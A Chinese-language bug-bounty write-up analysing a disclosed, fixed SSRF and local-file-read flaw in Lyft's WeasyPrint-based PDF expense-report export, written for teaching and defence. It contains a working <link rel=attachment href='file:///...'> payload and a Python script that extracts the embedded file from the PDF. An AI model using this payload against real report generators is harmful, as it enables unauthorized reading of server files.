挖洞经验 | 打车软件Lyft费用报告导出功能的SSRF漏洞
字数 1241 2025-08-15 21:31:13
Lyft费用报告导出功能SSRF漏洞分析与利用教学文档
漏洞概述
本教学文档详细分析Lyft打车软件费用报告导出功能中存在的服务器端请求伪造(SSRF)漏洞。该漏洞存在于Lyft的PDF报告生成机制中,允许攻击者通过精心构造的HTML标记访问内部资源或敏感信息。
漏洞发现背景
- 发现时间:2018年11月
- 公开时间:2020年6月
- 发现者:与Cody Brocious (@Daeken)合作发现
- 影响功能:Lyft应用中的行程消费报告导出功能(PDF/CSV格式)
功能正常流程
- 用户完成打车服务后,可在"行程历史"(Ride History)下的行程信息窗口输入消费代码或标识信息
- 系统提供导出消费报告功能(CSV和PDF两种格式)
- 报告会发送到用户邮箱
漏洞发现过程
初始发现
- 测试人员在消费标识区域输入HTML标记(
<h1>test)并导出PDF报告 - 发现HTML标记在PDF报告中成功渲染,表明存在HTML注入可能性
漏洞利用尝试
- 尝试使用
<iframe>和``标签引入外部资源,但未成功 - 通过对比CSV文件发现特殊字符编码问题(使用“而非标准"")
- 修正Payload格式后成功获取报告生成服务的User-Agent信息,发现使用WeasyPrint服务
WeasyPrint分析
WeasyPrint是一个开源的WEB报告生成服务,特点包括:
- 将HTML转换为PDF格式
- 允许嵌入简单HTML标记
- 禁止执行JavaScript脚本
- 禁止执行iframe或类似标签
- 对img、embed和object等标签进行了重定义
关键发现:在pdf.py文件中发现<link>属性允许插入任意网页或本地文件内容
漏洞利用技术
利用Payload
<link rel=attachment href="file:///root/secret.txt">
数据提取脚本
使用Python编写的从PDF文件中解包本地文件的脚本:
import sys, zlib
def main(fn):
data = open(fn, 'rb').read()
i = 0
first = True
last = None
while True:
i = data.find(b'>>\nstream\n', i)
if i == -1:
break
i += 10
try:
last = cdata = zlib.decompress(data[i:])
if first:
first = False
else:
pass#print cdata
except:
pass
print(last.decode('utf-8'))
if __name__=='__main__':
main(*sys.argv[1:])
漏洞验证
- 在Lyft应用中设置包含Payload的行程记录
- 导出PDF报告
- 触发SSRF漏洞,成功获取用户信息
漏洞修复时间线
- 2018.11.29 - 报送Lyft安全团队
- 2018.11.29 - Lyft修复漏洞
防御建议
- 对用户输入进行严格的HTML标签过滤
- 限制WeasyPrint服务的文件访问权限
- 禁用或严格限制
<link>标签的功能 - 实施内容安全策略(CSP)
- 对PDF生成服务进行网络隔离,限制其访问内部资源的能力
学习资源
- HackerOne报告编号:H-885975
- NahamSec YouTube视频:Exploiting a Server Side Request Forgery (SSRF) in WeasyPrint for Bug Bounty & HackerOne's $50M CTF
总结
本漏洞展示了即使在不允许JavaScript执行的环境中,通过精心构造的HTML标签仍可能实现SSRF攻击。开发人员在实现报告生成功能时,不仅需要考虑前端展示效果,还需关注底层服务的安全配置和权限控制。